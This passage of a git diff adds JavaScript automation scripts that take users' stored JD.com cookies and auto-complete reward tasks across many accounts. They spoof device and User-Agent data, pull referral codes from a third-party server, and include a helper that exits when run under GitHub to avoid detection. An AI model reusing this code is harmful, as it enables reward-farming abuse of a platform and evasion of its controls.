if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_jdzz.js b/jd_jdzz.js new file mode 100644 index 0000000000..e4d1011926 --- /dev/null +++ b/jd_jdzz.js @@ -0,0 +1,358 @@ +/* +京东赚赚 +可以做随机互助 +活动入口:京东赚赚小程序 +长期活动,每日收益2毛左右,多号互助会较多 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +# 京东赚赚 +10 0 * * * jd_jdzz.js, tag=京东赚赚, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzz.png, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_jdzz.js,tag=京东赚赚 + +===============Surge================= +京东赚赚 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_jdzz.js + +============小火箭========= +京东赚赚 = type=cron,script-path=jd_jdzz.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东赚赚'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let helpAuthor=true; // 帮助作者 +const randomCount = $.isNode() ? 20 : 5; +let jdNotify = true; // 是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [''] +let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await shareCodesFormat() + await jdWish() + } + } + if (allMessage) { + //NODE端,默认每月一日运行进行推送通知一次 + if ($.isNode() && nowTimes.getDate() === 1 && (process.env.JDZZ_NOTIFY_CONTROL ? process.env.JDZZ_NOTIFY_CONTROL === 'false' : !!1)) { + await notify.sendNotify($.name, allMessage); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdWish() { + $.bean = 0 + $.tuan = null + $.hasOpen = false; + $.assistStatus = 0; + await getTaskList(true) + + await helpFriends() + await getUserInfo() + $.nowBean = parseInt($.totalBeanNum) + $.nowNum = parseInt($.totalNum) + for (let i = 0; i < $.taskList.length; ++i) { + let task = $.taskList[i] + if (task['taskId'] === 1 && task['status'] !== 2) { + console.log(`去做任务:${task.taskName}`) + await doTask({"taskId": task['taskId'],"mpVersion":"3.4.0"}) + } else if (task['taskId'] !== 3 && task['status'] !== 2) { + console.log(`去做任务:${task.taskName}`) + if(task['itemId']) + await doTask({"itemId":task['itemId'],"taskId":task['taskId'],"mpVersion":"3.4.0"}) + else + await doTask({"taskId": task['taskId'],"mpVersion":"3.4.0"}) + await $.wait(3000) + } + } + await getTaskList(); + await showMsg(); +} + +function showMsg() { + return new Promise(async resolve => { + message += `本次获得${parseInt($.totalBeanNum) - $.nowBean}京豆,${parseInt($.totalNum) - $.nowNum}金币\n` + message += `累计获得${$.totalBeanNum}京豆,${$.totalNum}金币\n可兑换${$.totalNum / 10000}元无门槛红包\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现` + if (parseInt($.totalBeanNum) - $.nowBean > 0) { + //IOS运行获得京豆大于0通知 + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); + } else { + $.log(message) + } + // 云端大于10元无门槛红包时进行通知推送 + // if ($.isNode() && $.totalNum >= 1000000) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n`,) + allMessage += `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现${$.index !== cookiesArr.length ? '\n\n' : ''}`; + resolve(); + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl("interactIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data.data.shareTaskRes) { + // console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的${$.name}好友互助码】${data.data.shareTaskRes.itemId}\n`); + // } else { + // console.log(`\n\n已满5人助力或助力功能已下线,故暂时无${$.name}好友助力码\n\n`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getTaskList(flag = false) { + return new Promise(resolve => { + $.get(taskUrl("interactTaskIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.taskList = data.data.taskDetailResList + $.totalNum = data.data.totalNum + $.totalBeanNum = data.data.totalBeanNum + if (flag && $.taskList.filter(item => !!item && item['taskId']=== 3) && $.taskList.filter(item => !!item && item['taskId']=== 3).length) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.taskList.filter(item => !!item && item['taskId']=== 3)[0]['itemId']}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 完成 +function doTask(body, func = "doInteractTask") { + // console.log(taskUrl("doInteractTask", body)) + return new Promise(resolve => { + $.get(taskUrl(func, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + if (func === "doInteractTask") { + if (data.subCode === "S000") { + console.log(`任务完成,获得 ${data.data.taskDetailResList[0].incomeAmountConf} 金币,${data.data.taskDetailResList[0].beanNum} 京豆`) + $.bean += parseInt(data.data.taskDetailResList[0].beanNum) + } else { + console.log(`任务失败,错误信息:${data.message}`) + } + } else { + console.log(`${data.data.helpResDesc}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + await doTask({"itemId": code, "taskId": "3", "mpVersion": "3.4.0"}, "doHelpTask") + } +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://code.chiang.fun/api/v1/jd/jdzz/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JDZZ_SHARECODES) { + if (process.env.JDZZ_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDZZ_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDZZ_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function taskTuanUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: body, + headers: { + "Cookie": cookie, + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jin_tie.js b/jd_jin_tie.js new file mode 100644 index 0000000000..b9b12942ee --- /dev/null +++ b/jd_jin_tie.js @@ -0,0 +1,423 @@ +/* +领金贴(只做签到以及互助任务里面的部分任务) +活动入口:京东APP首页-领金贴,[活动地址](https://active.jd.com/forever/cashback/index/) +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +=================QuantumultX============== +[task_local] +#领金贴 +10 0 * * * jd_jin_tie.js, tag=领金贴, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +===========Loon=============== +[Script] +cron "10 0 * * *" script-path=jd_jin_tie.js,tag=领金贴 +=======Surge=========== +领金贴 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_jin_tie.js +==============小火箭============= +领金贴 = type=cron,script-path=jd_jin_tie.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('领金贴'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await main(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function main() { + try { + await signInforOfJinTie(); + await queryMission(); + await doTask(); + await queryMission(false); + await queryAvailableSubsidyAmount(); + } catch (e) { + $.logErr(e) + } +} +function queryMission(info = true) { + $.taskData = []; + const body = JSON.stringify({ + channel: "sqcs", + channelCode: "SUBSIDY2", + "riskDeviceParam": JSON.stringify({ + appId: "jdapp", + appType: "3", + clientVersion: "9.4.6", + deviceType: "iPhone11,8", + "eid": cookie, + "fp": getFp(), + idfa: "", + imei: "", + ip: "", + macAddress: "", + networkType: "WIFI", + os: "iOS", + osVersion: "14.2", + token: "", + uuid: "" + }) + }) + const options = taskUrl('queryMission', body); + return new Promise((resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '0000') { + if (info) { + console.log('互动任务获取成功') + $.taskData = data.resultData.data; + $.willTask = $.taskData.filter(t => t.status === -1) || []; + // $.willTask = $.taskData.filter(t => t.status === 0) || [];//已领取任务,但未完成 + $.recevieTask = $.taskData.filter(t => t.status === 1) || []; + const doneTask = $.taskData.filter(t => t.status === 2); + console.log(`\n剩余未接取任务:${$.willTask.length}`) + console.log(`已完成任务:${doneTask.length}\n`); + } else { + if ($.recevieTask && $.recevieTask.length) { + for (let task of $.recevieTask) { + console.log('预计获得:', task.awards[0].awardName, task.awards[0].awardRealNum, task.awards[0].awardUnit) + await awardMission(task['missionId']) + } + } + } + } else { + console.log('获取互动任务失败', data.resultData.msg) + } + } else { + console.log('获取互动任务失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//领取任务 +function receiveMission(missionId) { + const body = JSON.stringify({ + missionId, + "channelCode": "SUBSIDY2", + "timeStamp": new Date().toString(), + "env": "JDAPP" + }); + const options = taskUrl('receiveMission', body); + return new Promise((resolve) => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '0000') { + console.log('任务接取成功') + } else { + console.log('任务接取失败', data.resultData.msg) + } + } else { + console.log('任务接取失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//完成任务 +function finishReadMission(missionId, readTime) { + const body = JSON.stringify({missionId, readTime}); + const options = taskUrl('finishReadMission', body); + return new Promise((resolve) => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '0000') { + console.log('完成任务 成功') + } else { + console.log('完成任务失败', data.resultData.msg) + } + } else { + console.log('完成任务失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取金贴奖励 +function awardMission(missionId) { + const body = JSON.stringify({ + missionId, + "channelCode": "SUBSIDY2", + "timeStamp": new Date().toString(), + "env": "JDAPP" + }); + const options = taskUrl('awardMission', body); + return new Promise((resolve) => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '0000') { + console.log('奖励领取成功') + } else { + console.log('奖励领取失败', data.resultData.msg) + } + } else { + console.log('奖励领取失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//获取签到状态 +function signInforOfJinTie() { + const body = JSON.stringify({ + channel: "sqcs", + "riskDeviceParam": JSON.stringify({ + appId: "jdapp", + appType: "3", + clientVersion: "9.4.6", + deviceType: "iPhone11,8", + "eid": cookie, + "fp": getFp(), + idfa: "", + imei: "", + ip: "", + macAddress: "", + networkType: "WIFI", + os: "iOS", + osVersion: "14.2", + token: "", + uuid: "" + }) + }) + const options = taskUrl('signInforOfJinTie', body, 'jrm'); + return new Promise((resolve) => { + $.get(options, async (err, resp, data) => { + 